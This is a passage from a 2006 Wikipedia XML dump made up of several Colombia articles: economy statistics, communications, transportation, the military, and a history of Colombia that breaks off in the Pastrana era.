Coal production has grown rapidly, from 22.7 million tons in 1994 to 50.0 million tons in 2003.{{ref|coalprod}}  Over 90% of this amount was exported, making Colombia the world's sixth largest coal exporter, behind [[Australia]], [[China]], [[Indonesia]], [[South Africa]] and [[Russia]].{{ref|coalworld}}  From the mid-1980s the center of coal production was the [[Cerrejón]] mines in the [[Guajira_Department|Guajira]] department.  However, the growth in output at [[La Loma, Cesar|La Loma]] in neighboring [[Cesar_Department|Cesar]] mean that this department has been the leader in coal production since 2004.  Production in other departments, including [[Boyacá Department|Boyacá]], [[Cundinamarca]] and [[Norte de Santander]], forms about 13% of the total.  The coal industry is largely controlled by international mining companies, including a consortium of [[BHP Billiton]], [[Anglo American]] and [[Glencore International]] at Cerrejón, and [[Drummond Company]] at La Loma, which is undergoing a lawsuit in the U.S. District Court in Alabama for union assassinations and alleged paramilitary links.

While Colombia has vast hydroelectric potential, a prolonged drought in 1992 forced severe electricity rationing throughout the country until mid-1993. The consequences of the drought on electricity-generating capacity caused the government to commission the construction or upgrading of 10 [[thermoelectric]] power plants. Half will be coal-fired, and half will be fired by [[natural gas]]. The government also has begun awarding bids for the construction of a natural gas pipeline system that will extend from the country's extensive gas fields to its major population centers. Plans call for this project to make natural gas available to millions of Colombian households by the middle of the next decade.

As of 2004, Colombia has become a net energy exporter, exporting electricity to [[Ecuador]] and developing connections to [[Perú]], [[Venezuela]] and [[Panama]] to export to those markets as well. A pipeline connecting western Venezuela to Panama through Colombia is also under construction, thanks to cooperation between presidents [[Alvaro Uribe]] of Colombia and [[Hugo Chávez]] of Venezuela.

==Trade==
Colombia's estimated balance of trade showed a surplus $910 million in 1999, up from a $3.8 billion deficit in 1998. Total 1999 imports were $10.6 billion, while exports were $11.5 billion. Estimated 2000 imports were $11.2 billion with $14.0 exports. Colombia's major exports continue to be petroleum, coffee, coal, nickel, gold and nontraditional exports (e.g., cut flowers, semiprecious stones, sugar, and tropical fruits).

The United States remained Colombia's major trading partner in 1999, taking 48.5% of exports and providing 42.1% of imports. The EU and Japan also are important trading partners, as are [[Andean Pact]] countries.

==Foreign Investment==
In 1990, to attract foreign investors and promote trade, an experiment from the [[IMF]] known as &quot;la apertura&quot; was adopted by the government as an open trade strategy. Although the analysis of the results are not clear, the fact is that the agricultural sector was severely impacted by this policy.

In 1991 and 1992, the government passed laws to stimulate foreign investment in nearly all sectors of the economy. The only activities closed to foreign direct investment are defense and national security, disposal of hazardous wastes, and real estate--the last of these restrictions is intended to hinder money laundering. Colombia established a special entity--CoInvertir--to assist foreigners in making investments in the country. Foreign investment flows for 1999 were $4.4 billion, down from $4.8 billion in 1998.

Major foreign investment projects underway include the $6 billion development of the Cusiana and Cupiagua oil fields, development of coal fields in the north of the country, and the recently concluded licensing for establishment of cellular telephone service. The United States accounted for 26.5% of the total $19.4 billion stock of nonpetroleum foreign direct investment in Colombia at the end of 1998.

On [[October 21]] [[1995]], under the International Emergency Economic Powers Act (IEEPA), President Clinton signed an Executive Order barring U.S. entities from any commercial or financial transactions with four Colombian drug kingpins and with individuals and companies associated with the traffic in narcotics, as designated by the Secretary of the Treasury in consultation with the Secretary of State and the Attorney General. The list of designated individuals and companies is amended periodically and is maintained by the Office of Foreign Asset Control at the Department of the Treasury, tel. (202) 622-0077 (ask for Document #1900). The document also is available at [http:/www.ustreas.gov the Department of Treasury web site].

Colombia is the United States' fifth-largest export market in Latin America--behind Mexico, Brazil, Venezuela, and Argentina--and the 26th-largest market for U.S. products worldwide. The United States is Colombia's principal trading partner, with two-way trade from November 1999 through November 2000 exceeding $9.5 billion--$3.5 billion U.S. exports and $6.0 billion U.S. imports. Colombia benefits from duty-free entry--for a 10-year period, through 2001--for certain of its exports to the United States under the Andean Trade Preferences Act. Colombia improved protection of intellectual property rights through the adoption of three Andean Pact decisions in 1993 and 1994, but the U.S. remains concerned over deficiencies in licensing, patent regulations, and copyright protection.

The petroleum and natural gas coal mining, chemical, and manufacturing industries attract the greatest U.S. investment interest. U.S. investment accounted for 37.8% ($4.2 billion) of the total $11.2 billion in foreign direct investment at the end of 1997, excluding petroleum and portfolio investment. Worker rights and benefits in the U.S.-dominated sectors are more favorable than general working conditions. Examples include shorter-than-average working hours, higher wages, and compliance with health and safety standards above the national average.

'''Industry and Agriculture'''&lt;br&gt;
The most industrially diverse member of the five-nation Andean Community, Colombia has four major industrial centers--Bogota, Medellin, Cali, and Barranquilla, each located in a distinct geographical region. Colombia's industries include textiles and clothing, leather products, processed foods and beverages, paper and paper products, chemicals and petrochemicals, cement, construction, iron and steel products, and metalworking. Its diverse climate and topography permit the cultivation of a wide variety of crops. In addition, all regions yield forest products, ranging from tropical hardwoods in the hot country to pine and eucalyptus in the colder areas.

[[Cacao]], [[sugarcane]], [[coconut]]s, [[banana]]s, [[plantain]]s, [[rice]], [[cotton]], [[tobacco]], [[cassava]], and most of the nation's beef cattle are produced in the hot regions from sea level to 1,000 meters elevation. The temperate regions -- between 1,000 and 2,000 meters -- are better suited for [[coffee]]; certain flowers; [[maize]] and other vegetables; and fruits such as [[citrus]], [[pear]]s, [[pineapple]]s, and [[tomato]]es. The cooler elevations -- between 2,000 and 3,000 meter -- produce [[wheat]], [[barley]], [[potato]]es, cold-climate vegetables, flowers, [[dairy]] cattle, and [[poultry]].

==Statistics==
'''Economy - overview:'''
Colombia's economy has been on a recovery trend during the past two years despite a serious armed conflict. The economy continues to improve thanks to austere government budgets, focused efforts to reduce public debt levels, and an export-oriented growth focus. Ongoing economic problems facing President Uribe range from reforming the pension system to reducing high unemployment. New exploration is needed to offset declining oil production. On the positive side, several international financial institutions have praised the economic reforms introduced by URIBE, succeeded in reducing the public-sector deficit below 1.5% of GDP. The government's economic policy and democratic security strategy have engendered a growing sense of confidence in the economy, particularly within the business sector. Coffee prices have recovered from previous lows as the Colombian coffee industry pursues greater market shares in developed countries such as the United States.  

GDP (purchasing power parity):    
$303.1 billion (2005 est.)  

GDP (official exchange rate):    
$100.9 billion (2005 est.)  

GDP - real growth rate:    
4.3% (2005 est.)  

GDP - per capita:    
purchasing power parity - $7,100 (2005 est.)  

GDP - composition by sector:   
agriculture: 12.5% 
industry: 34.3% 
services: 53.3% (2005 est.)  

Labor force:    
20.52 million (2005 est.)  

Labor force - by occupation:   
agriculture 22.7%, industry 18.7%, services 58.5% (2000 est.)  

Unemployment rate:    
11.8% (2005 est.)  

Population below poverty line:   
59% (2001 est.)  

Household income or consumption by percentage share:   
lowest 10%: 1% 
highest 10%: 44% (1999)  

Distribution of family income - Gini index:   
57.1 (2003 est.)  

Inflation rate (consumer prices):    
5% (2005 est.)  

Investment (gross fixed):    
20.2% of GDP (2005 est.)  

Budget:   
revenues: $46.82 billion 
expenditures: $48.77 billion, including capital expenditures of NA (2005 est.)  

Public debt:    
44.2% of GDP (2005 est.)  

Agriculture - products:   
coffee, cut flowers, bananas, rice, tobacco, corn, sugarcane, cocoa beans, oilseed, vegetables; forest products; shrimp  

Industries:   
textiles, food processing, oil, clothing and footwear, beverages, chemicals, cement; gold, coal, emeralds  

Industrial production growth rate:    
4.5% (2005 est.)  

Electricity - production:    
47,140 GWh (2003)  

Electricity - consumption:    
42,850 GWh (2003)  

Electricity - exports:   
1,082 GWh (2003)  

Electricity - imports:   
100 GWh (2003)  

Oil - production:    
512,400 bbl/day (2005 est.)  

Oil - consumption:    
270,000 bbl/day (2003 est.)  

Oil - exports:    
NA (2003)  

Oil - imports:    
NA (2003)  

Oil - proved reserves:    
1.436 billion bbl (2005 est.)  

Natural gas - production:    
6.354 billion cu m (2004 est.)  

Natural gas - consumption:    
6.219 billion cu m (2004 est.)  

Natural gas - exports:    
0 cu m (2004 est.)  

Natural gas - imports:    
0 cu m (2004 est.)  

Natural gas - proved reserves:    
127.4 billion cu m (2005)  

Current account balance:    
$-917 million (2005 est.)  

Exports:    
$23.06 billion f.o.b. (2005 est.)  

Exports - partners:   
US 42.1%, Venezuela 9.7%, Ecuador 6% (2004)  

Imports:    
$20.42 billion f.o.b. (2005 est.)  

Imports - partners:   
US 29.1%, Venezuela 6.5%, China 6.4%, Mexico 6.2%, Brazil 5.8% (2004)  

Reserves of foreign exchange and gold:    
$14.18 billion (2005 est.)  

Debt - external:    
$37.06 billion ([[30 June]] [[2005]] est.)  

Economic aid - recipient:   
NA  

Currency (code):   
Colombian peso (COP)  

Exchange rates:   
Colombian pesos per US dollar - 2,324.08 (2005), 2,628.61 (2004), 2,877.65 (2003), 2,504.24 (2002), 2,299.63 (2001)  

Fiscal year:   
calendar year

==Notes==
#{{note|coalprod}} Unidad de Planeación Minero Energética - UPME (2004), ''Boletín Estadístico de Minas y Energía 1994 - 2004''. [http://www.upme.gov.co/Docs/Boletin_Esta_Minas_Energia.pdf PDF file in Spanish].
#{{note|coalworld}} World Coal Institute (2004), ''Coal Facts - 2004 Edition''. [http://www.worldcoal.org/assets_cm/files/PDF/coal_facts_2004.pdf PDF file].

==See also==
* [[Colombia]]
* [[Economy of South America]]

{{SACN}}
{{WTO}}

{{South America in topic|Economy of}}

[[Category:WTO members|Colombia]]
[[Category:Economy of Colombia| ]]
[[Category:Economies by country|Colombia]]

[[es:Economía de Colombia]]
[[no:Colombias økonomi]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Colombia</title>
    <id>5840</id>
    <revision>
      <id>40448074</id>
      <timestamp>2006-02-20T16:57:19Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{CIA}}, {{South America in topic|Communications in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''Communications in Colombia'''

'''Telephones - main lines in use:'''
7,500.420 (junio de 2005)

'''Telephones - mobile cellular:'''
16,200.000 (julio 2005)

'''Telephone system:'''
modern system in many respects
&lt;br&gt;''domestic:''
nationwide microwave radio relay system; domestic satellite system with 41 earth stations; fiber-optic network linking 50 cities
&lt;br&gt;''international:''
satellite earth stations - 6 Intelsat, 1 Inmarsat; 3 fully digitalized international switching centers; 8 submarine cables

'''Radio broadcast stations:'''
AM 454, FM 34, shortwave 27 (1999)

'''Radios:'''
21 million (1997)

'''Television broadcast stations:'''
60 (includes seven low-power stations) (1997)

'''Televisions:'''
4.59 million (1997)

'''Internet Service Providers (ISPs):'''
13 (1999)

'''[[Country codes]]:''' CO

:''See also :'' [[Colombia]]

{{South America in topic|Communications in}}

[[Category:Communications in Colombia| ]]
[[Category:Communications by country|Colombia]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Colombia</title>
    <id>5841</id>
    <revision>
      <id>40488576</id>
      <timestamp>2006-02-20T23:02:21Z</timestamp>
      <contributor>
        <username>Colonies Chris</username>
        <id>577301</id>
      </contributor>
      <minor />
      <comment>formatting</comment>
      <text xml:space="preserve">== Railways ==
''Total'' 3,380 km
*''Standard gauge'' 150 km of 1.435 m gauge (connects [[Cerrejón]] coal mines to maritime port at [[Bahia de Portete]])
*''Narrow gauge'' 3,230 km of 0.914 m gauge (1,830 km in use) (1995)

=== Railway links to adjacent countries ===
* [[Transportation in Venezuela|Venezuela]] - no
* [[Transportation in Brazil|Brazil]] - no
* [[Transportation in Ecuador|Ecuador]] - no
* [[Transportation in Peru|Peru]] - no
* [[Transportation in Panama|Panama]] - no

== Highways ==
''Total'' 115,564 km
*''Paved'' 13,868 km
*''Unpaved'' 101,696 km (1997 est.)

== Waterways ==
18,140 km, navigable by river boats (April 1996)

== Pipelines ==
*''Crude oil'' 3,585 km
*''Petroleum products'' 1,350 km
*''Natural gas'' 830 km
*''Natural gas liquids'' 125 km

== Ports and harbors ==
=== Atlantic Ocean ===
* [[Barranquilla]]
* [[Cartagena, Colombia|Cartagena]]
* [[Turbo, Colombia|Turbo]]
* [[Santa Marta]]

=== Pacific Ocean ===
* [[Buenaventura|Buenaventura, Colombia]]
* [[Tumaco]]

=== Amazonia ===
* [[Leticia]]

=== Other ===
*[[Bahia de Portete]]
*[[Puerto Bolivar]]
*[[San Andres]]

== Merchant marine ==
''Total'' 13 ships (1,000 [[Gross Register Tonnage|GRT]] or over) totaling 51,343 GRT/67,168 [[deadweight tonnage|DWT]]

Ships by type
*''Bulk'' 4
*''Cargo'' 5
*''Container'' 1
*''Multi-functional large load carrier'' 1
*''Petroleum tanker'' 2 (1999 est.)

== Airports ==
1,101 (1999 est.)

=== Airports - with paved runways ===
''Total'' 90
*''Over 3,047 m'' 2
*''2,438 to 3,047 m'' 9
*''1,524 to 2,437 m'' 37
*''914 to 1,523 m'' 35
*''under 914 m'' 7 (1999 est.)

=== Airports - with unpaved runways ===
''Total'' 1,011
*''2,438 to 3,047 m'' 1
*''1,524 to 2,437 m'' 62
*''914 to 1,523 m'' 330
*''Under 914 m'' 618 (1999 est.)

'''National Airline:'''
*[[Avianca]]

== See also ==
* [[Colombia]]
* [[Ernesto Cortissoz International Airport]]
* [[TransMilenio]]

{{South America in topic|Transportation in}}

[[Category:Transportation in Colombia| ]]

[[es:Transporte de Colombia]]</text>
    </revision>
  </page>
  <page>
    <title>Colombia/Transnational issues</title>
    <id>5842</id>
    <revision>
      <id>15904033</id>
      <timestamp>2002-08-02T10:09:54Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Colombia]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Colombia</title>
    <id>5843</id>
    <revision>
      <id>37839479</id>
      <timestamp>2006-02-02T13:25:51Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Military of}}</comment>
      <text xml:space="preserve">'''Colombia''''s [[Ministry of Defense of Colombia|Ministry of Defense]], charged with the country's internal and external defense and security, has an [[Army]], [[Navy]] (which includes both [[marines]] and [[coast guard]]) [[Air Force]], and National [[Police]] under the leadership of a [[civilian]] Minister of Defense. In [[1999]], Colombia assigned 3.6% of its GDP to defense, according to the National Planning Department. The armed forces number about 250,000 uniformed personnel: 145,000 military and 105,000 police. These figures do not include assistance personnel such as cooks, medics, mechanics, etc. Many Colombian military personnel have received training in the [[United States]] or in Colombia. The United States has provided equipment to the Colombian military and police through the military assistance program, foreign military sales, and the international narcotics control program.

[[Narcotics decertification]] in [[1996]] forced a temporary halt to U.S. military assistance programs, except for those related to counternarcotics. On August 1, [[1997]], the U.S. and Colombia signed an [[End Use Monitoring]] (EUM) memorandum of understanding which stipulated that U.S. counternarcotics assistance to the Colombian military be conditioned on [[human rights]] screening of proposed recipient units. Once equipment is provided, it continues to be subject to end-use monitoring to ensure it is being used for counternarcotics purposes.

U.S. assistance to Colombian military and police forces is provided strictly in accordance with Section 564 of the Foreign Operations Appropriations Act (Public Law 106-113) and with Section 8098 of Department of Defense Appropriations Act (Public Law 106-79). No assistance is provided to any unit of the security forces for which the U.S. Government has credible evidence of commission of gross violations of human rights, unless the [[Secretary of State of the United States|Secretary of State]] is able to certify that the Government of Colombia has taken effective measures to bring those responsible to justice. End-use monitoring also is required in these cases.

Since 2000 the Ministry of Defense (Ministerio de Defensa) and the Joint Staff Command (Comando General de las Fuerzas Militares) started a program to overhaul and improve the performance of the military branches (Army, Navy and Air Force) it was the result of an study (1998-1999) suggesting to improve the military mobility, personnel training and internal organization to allow more flexibility.  It is also known that increasing use of [[Special Forces]] such as [[AFEUR]] (Urban Warfare/CounterTerrorism Units), [[Lancero]] units (Jungle Warfare/[[Ranger]] like) is suggested by the study.

In addition to its own domestic needs, Colombia also provides troops to international [[peacekeeping]] efforts, most notably the [[Multinational Force and Observers]], to whom it has provided a full [[infantry]] [[battalion]] since [[1982]].

'''Military branches:'''&lt;br&gt;
Army (Ejercito Nacional)&lt;br&gt;Navy (Armada Nacional, includes Marines and Coast Guard)&lt;br&gt;Air Force (Fuerza Aerea Colombiana)&lt;br&gt;National Police (Policia Nacional) (though it is controlled by the Ministry of Defense it is not a Military branch)

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
10,599,704 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
7,093,676 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
370,356 (2000 est.)

'''Military expenditures - dollar figure:'''
$3.4 billion (FY99)

'''Military expenditures - percent of GDP:'''
3.7% (FY99)

==References and Links==
*[[Colombia]]
==External links==
* [http://www.ejercito.mil.co Ejército Nacional de Colombia] -  Official Army site in Spanish
* [http://www.army.mil.co Ejército Nacional de Colombia] -  Official Army site in English
* [http://www.armada.mil.co Armada Nacional de Colombia] -  Official Navy site (in Spanish and English)
* [http://www.fac.mil.co Fuérza Aérea Colombiana] -  Official Air Force site (in Spanish)

{{South America in topic|Military of}}

[[Category:Militaries|Colombia]]
[[Category:Military of Colombia| ]]

[[no:Colombias forsvar]]</text>
    </revision>
  </page>
  <page>
    <title>History of Colombia</title>
    <id>5844</id>
    <revision>
      <id>42069538</id>
      <timestamp>2006-03-03T16:36:59Z</timestamp>
      <contributor>
        <username>Misza13</username>
        <id>330574</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.103.220.101|71.103.220.101]] to last version by Travb</comment>
      <text xml:space="preserve">This is the '''[[history]] of [[Colombia]]'''. See also [[history of South America]] and the [[history of present-day nations and states]].

== Pre-Colombian period ==

The two main linguistic groups that dominated the territory now known as Colombia during the pre-Colombian period were the [[Carib]] and the [[Chibcha]].  They possessed different organizational structures and distinct languages and cultures. In upper Magdalene region, from 5th to 8th century, many tumuli with scuptures were raised in [[San Agustin Archaeological Park|San Agustin]].The region now occupied by the city of [[Bogotá]] was inhabited by the [[Muisca]]. The Muisca based their social organization on trade. They exchanged [[salt]], [[emeralds]], [[beans]], [[maize]] and other crops with other [[Chibchan]] tribes such as the [[Chitareros]], [[Guanes]] and [[Laches]].

==Colonial times==

The [[Spain|Spanish]] sailed along the north coast of today's Colombia as early as [[1500]], but their first permanent settlement, at Santa Marta, was not established until [[1525]]. In [[1549]], the institution of the [[Audiencia]] in Santa Fe de [[Bogotá]], gave that city the status of capital of the [[New Granada]], it included most of the provinces of what makes up the territory of Colombia. In [[1717]] the [[Viceroyalty of New Granada]] was originally created, and then it was temporarily removed, to finally be reestablished in [[1739]]. The Viceroyalty had Santa Fé de Bogotá as its capital. This Viceroyalty included some other provinces of northwestern South America which had been so far under jurisdiction of the [[New Spain|Viceroyalties of New Spain]] or [[Viceroyalty of Peru|Peru]] and correspond mainly to today's [[Venezuela]], [[Ecuador]] and [[Panama]]. So, [[Bogotá]] became one of the principal administrative centers of the Spanish possessions in the New World, along with [[Lima, Peru|Lima]] and [[Mexico City]], though it remained somewhat backward compared to those two cities in several economic and logistical ways.

==Struggle for independence==

[[July 20]], [[1810]], the citizens of [[Bogotá]] created the first representative council to defy Spanish authority, with full independence being proclaimed in [[1810]]. A long Independency War, led mainly by [[Simón Bolívar]] and [[Francisco de Paula Santander]] in New Granada ended after the [[Battle of Boyaca]], on [[August 7]], [[1819]]. That year, the [[Congress of Angostura]] established the Republic of [[Greater Colombia]], which included all territories under jurisdiction of the Viceroyalty of New Granada. ''For more information, see [[Bolivar's War]]''

==The Republic==   
    
Bolívar was elected first president of [[Greater Colombia]] and [[Francisco de Paula Santander]], vice president.    
   
As the Federation of Greater Colombia was dissolved in [[1830]], the Department of Cundinamarca (as established in Angostura) became a new country, the Republic of New Granada.   
   
In [[1863]] the name of the Republic was changed officially to &quot;United States of Colombia&quot;, and in [[1886]] adopted its present day name: &quot;Republic of Colombia&quot;.   
    
Two political parties grew out of conflicts between the followers of Bolivar and Santander and their political visions -- the Conservatives and the Liberals -- and have since dominated Colombian politics. Bolívar's supporters, who later formed the nucleus of the Conservative Party, sought strong centralized government, alliance with the [[Roman Catholic Church]], and a limited franchise. Santander's followers, forerunners of the Liberals, wanted a decentralized government, state rather than church control over education and other civil matters, and a broadened suffrage.   

Throughout the [[19th century|19th]] and early [[20th century|20th centuries]], each party held the presidency for roughly equal periods of time. Colombia maintained a tradition of civilian government and regular, free elections. The military has seized power three times in Colombia's history: in [[1830]], after the dissolution of Great Colombia; again in [[1854]], and [[1953]]-[[1957]]. Civilian rule was restored within one year in the first two instances.   
    
Notwithstanding the country's commitment to democratic institutions, Colombia's history has also been characterized by widespread, violent conflict. Two civil wars resulted from bitter rivalry between the Conservative and Liberal parties. [[The War of a Thousand Days]] ([[1899]]-[[1902]]) cost an estimated 100,000 lives, and up to 300,000 people died during &quot;[[La Violencia]]&quot; (The Violence) of the late [[1940s]] and [[1950s]], a bipartisan confrontation which erupted after the assassination of Liberal popular candidate [[Jorge Eliécer Gaitán]].   

A military coup in [[1953]] toppled the right-wing government of Conservative [[Laureano Gómez]] and brought Gen. [[Gustavo Rojas Pinilla]] to power. Initially, Rojas enjoyed considerable popular support, due largely to his success in reducing &quot;[[La Violencia]].&quot; When he did not restore democratic rule and occasionally engaged in open repression, however, he was overthrown by the military in 1957 with the backing of both political parties, and a provisional government was installed.

==The National Front==

In July 1957, former Conservative President Laureano Gomez ([[1950]]-[[1953]]) and former Liberal President [[Alberto Lleras Camargo]] ([[1945]]-[[1946]], [[1958]]-[[1962]]) issued the &quot;Declaration of Sitges,&quot; in which they proposed a &quot;National Front,&quot; whereby the Liberal and Conservative parties would govern jointly. The presidency would be determined by regular elections every 4 years; the two parties would have parity in all other elective and appointive offices.

The National Front ended &quot;[[La Violencia]],&quot; and National Front administrations attempted to institute far-reaching social and economic reforms in cooperation with the Alliance for Progress. In the end, the contradictions between each successive Liberal and Conservative administration made the results decidedly mixed. Despite the progress in certain sectors, many social and political injustices continued. 
It is usually argued that a [[Colombian Civil War]] would have started in [[1964]], which was when the [[Revolutionary Armed Forces of Colombia|FARC]] was founded and started their [[guerrilla warfare|guerrilla]] insurgency. This point has been considered debatable by some, as another position held by several analysts would point out that the ensuing conflict's characteristics, scale and intensity have not reached those of a full blown [[civil war]].

The National Front system itself eventually began to be seen as a form of political repression by dissidents and even many mainstream voters, especially after what was apparently later confirmed as the supposedly fraudulent election of [[Misael Pastrana Borrero]] in [[1970]], which resulted in the defeat of the relatively populist candidate [[Gustavo Rojas Pinilla]]. The [[M-19]] guerrilla movement, &quot;Movimiento 19 de Abril&quot; (19th of April Movement), would eventually be founded in part as a response to this particular event.

Although the system established by the Sitges agreement was phased out by [[1974]], the [[1886]] Colombian constitution--in effect until [[1991]]--required that the losing political party be given adequate and equitable participation in the government which, according to many observers and later analysis, eventually resulted in some increase in corruption and legal relaxation. The current 1991 constitution does not have that requirement, but subsequent administrations have tended to include members of opposition parties.

==Post-National Front years==
From [[1974]] until [[1982]], different presidential administrations chose to focus on ending the persistent [[insurgent|insurgencies]] that sought to undermine Colombia's traditional political system. Both groups claimed to represent the poor and weak against the rich and powerful classes of the country, demaning the completion of true land and political reform, from an openly [[Communist]] perspective. 

By [[1974]], another challenge to the state's authority and legitimacy had come from the [[19th of April Movement]] (M-19), a mostly urban guerrilla group founded allegedly in response to an electoral fraud during the final National Front election of [[Misael Pastrana Borrero]] ([[1970]] -[[1974]])  and the defeat of former dictator [[Gustavo Rojas Pinilla]]. Initially, the M-19 attracted a degree of attention and sympathy from mainstream Colombians that the FARC and ELN had found largely elusive earlier due to extravagant and daring operations, such as stealing a sword that had belong to Colombia's Independence hero [[Simon Bolívar]]. At the same time, its larger profile soon made it the focus of the state's counterinsurgency efforts. 

The ELN guerrilla had been seriously crippled by military operations in the region of Anorí by 1974, but it managed to reconstitute itself and escape destruction, in part due to the administration of [[Alfonso López Michelsen]] ([[1974]]-[[1978]]) allowing it to escape encirclement, hoping to initiate a peace process with the group.

By [[1982]], the perceived passivity of the FARC, together with the relative success of the government's efforts against the M-19 and ELN, enabled the administration of the Liberal Party's [[Julio César Turbay Ayala]] ([[1978]]-[[1982]]) to lift a state-of-siege decree that had been in effect, on and off, for most of the previous 30 years. Under the latest such decree, president Turbay had implemented security policies that, though of some military value against the M-19 in particular, were considered highly questionable both inside and outside Colombian circles due to numerous accusations of military [[human rights abuse]]s against suspects and captured guerrillas.

Citizen exhaustion due to the conflict's newfound intensity led to the election of president [[Belisario Betancur]] ([[1982]]-[[1986]]), a Conservative who won 47% of the popular vote, directed peace feelers at all the insurgents, and negotiated a [[1984]] cease-fire with the FARC and [[M-19]] after a 1982 release of many guerrillas imprisoned during the previous effort to overpower them. The [[National Liberation Army (Colombia)|ELN]] rejected entering any negotiation and continued to recover itself through the use of extortions and threats, in particular against foreign oil companies of European and U.S. origin. 

As these events were developing, the growing [[illegal drug trade]] and its consequences were also increasingly becoming a matter of widespread importance to all participants in the Colombian conflict. Guerrillas and newly wealthy druglords had mutually uneven relations and thus numerous incidents occurred between them. Eventually the kidnapping of drug cartel family members by guerrillas led to the creation of the [[1981]] ''Muerte a Secuestradores'' (MAS) death squad (&quot;Death to Kidnappers&quot;). Pressure from the U.S. government and critical sectors of Colombian society was met with further violence, as the [[Medellín Cartel]] and its hitmen, bribed or murdered numerous public officials, politicians and others who stood in its way by supporting the implementation of [[extradition]] of Colombian nationals to the U.S. Victims of cartel violence included Justice Minister [[Rodrigo Lara Bonilla]], assassinated in [[1984]], an event which made the Betancur administration begin to directly oppose the druglords.  

The first negotiated cease-fire with the [[M-19]] ended when the guerrillas  resumed fighting in [[1985]], claiming that the cease-fire had not been fully respected by official security forces, saying that several of its members had suffered threats and assaults, and also questioning the government's real willingness to implement any accords. The Betancur administration in turn questioned the M-19's actions and its commitment to the peace process, as it continued to advance high profile negotiations with the FARC, which led to the creation of the [[Patriotic Union (Colombia)]] (UP), a legal and non-clandestine political organization. 

On [[November 6]][[1985]], the M-19 [[Palace of Justice siege|stormed the Colombian Palace of Justice]] and held the Supreme Court magistrates hostage, intending to put president Betancur on trial. In the ensuing crossfire that followed the military's reaction, scores of people lost their lives, as did most of the guerrillas, including several high-ranking operatives. Both sides blamed each other for the outcome. 

Meanwhile, individual FARC members initially joined the UP leadership in representation of the guerrilla command, though most of the guerrilla's chiefs and militiamen did not demobilize nor disarm, as that was not a requirement of the process at that point in time. Tension soon significantly increased, as both sides began to accuse each other of not respecting the cease-fire. Political violence against FARC and UP members (including presidential candidate [[Jaime Pardo Leal]]) was blamed on druglords and also on members of the security forces (to a much lesser degree on the argued inaction of Betancur administration). Members of the government and security authorities increasingly accused the FARC of continuing to recruit guerrillas, as well as kidnapping, extorting and politicallyt intimidating voters even as the UP was already participating in politics.

The [[Virgilio Barco Vargas]] ([[1986]]-[[1990]]) administration, in addition to continuing to handle the difficulties of the complex negotiations with the guerrillas, also inherited a particularly chaotic confrontation against the druglords, who were engaged in a campaign of [[terrorism]] and murder in response to government moves in favor of their extradition overseas. The UP also suffered an increasing number of losses during this term (including the assassination of presidential candidate [[Bernardo Jaramillo Ossa]]), which stemmed both from private proto-[[paramilitary]] organizations, increasingly powerful druglords and a number of would-be paramilitary-sympathizers within the armed forces.

==Post 1990==
Following administrations had to contend with the guerrillas, paramilitaries, narcotics traffickers and the violence and corruption that they all perpetuated, both through force and negotiation. Narcoterrorists assassinated three presidential candidates before [[César Gaviria Trujillo]] was elected in 1990. Since the death of [[Medellín]] cartel leader [[Pablo Escobar]] in a police shootout during December [[1993]], indiscriminate acts of violence associated with that organization have abated as the &quot;cartels&quot; have broken up into multiple, smaller and often-competing trafficking organizations. Nevertheless, violence continues as these drug organizations resort to violence as part of their operations but also to protest against government policies, including extradition.

The M-19 and several smaller guerrilla groups were successfully incorporated into a peace process as the 1980s ended and the 90s began, which culminated in the elections for a [[Constituent Assembly of Colombia]] that would write a new constitution, which took effect in [[1991]]. The new Constitution, brought about a considerable number of institutional and legal reforms based on principles that the delegates considered as more modern, humanist, democratic and politically open than those existent under the previous [[1886]] constitution. Practical results were mixed and controversies emerged (such as the debate surrounding the constitutional prohibition of extradition, which later was reversed), but together with the reincorporation of some of the guerrilla groups to the legal political framework, the new Constitution inaugurated an era that was both a continuation and a gradual, but significant, departure from what had come before.

Contacts with the FARC, which had irregularly continued despite the generalized [[de facto]] interruptions of the ceasefire and the official 1987 break from negotiations, were temporarily cut off in [[1990]] under the presidency of [[César Gaviria Trujillo]] ([[1990]]-[[1994]]). The Colombian Army's assault on the FARC's ''Casa Verde'' sanctuary at [[La Uribe]], [[Meta Department|Meta]], followed by a FARC offensive that sought to undermine the deliberations of the Constitutional Assembly, began to highlight a significant break in the uneven negotiations carried over from the previous decade. 

President [[Ernesto Samper Pizano]] assumed office in August [[1994]]. However, a political crisis relating to large-scale contributions from drug traffickers to Samper's presidential campaign diverted attention from governance programs, thus slowing, and in many cases, halting progress on the nation's domestic reform agenda. The military also suffered several setbacks in its fight against the guerrillas, when several of its rural bases began to be overun and a record number of soldiers and officers were taken prisoner by the FARC (which since 1982 was attempting to implement a more &quot;conventional&quot; style of warfare, seeking to eventually defeat the military in the field).

On [[August 7]], [[1998]], [[Andrés Pastrana Arango]] was sworn in as the President of Colombia. A member of the Conservative Party, Pastrana defeated Liberal Party candidate Horacio Serpa in a run-off election marked by high voter turn-out and little political unrest. The new president's program was based on a commitment to bring about a peaceful resolution of Colombia's longstanding civil conflict and to cooperate fully with the United States to combat the trafficking of illegal drugs.

While early initiatives in the Colombian peace process gave reason for optimism, the Pastrana administration also has had to combat high unemployment and other economic problems, such as the fiscal deficit and the impact of global financial instability on Colombia. During his administration, unemployment has risen to over 20%. Additionally, the growing severity of countrywide guerrilla attacks by the FARC and ELN, and smaller movements, as well as the growth of drug production, corruption and the spread of even more violent paramilitary groups such as the United Self-Defense Forces of Colombia ([[Autodefensas Unidas de Colombia|AUC]]) has made it difficult to solve the country's problems.

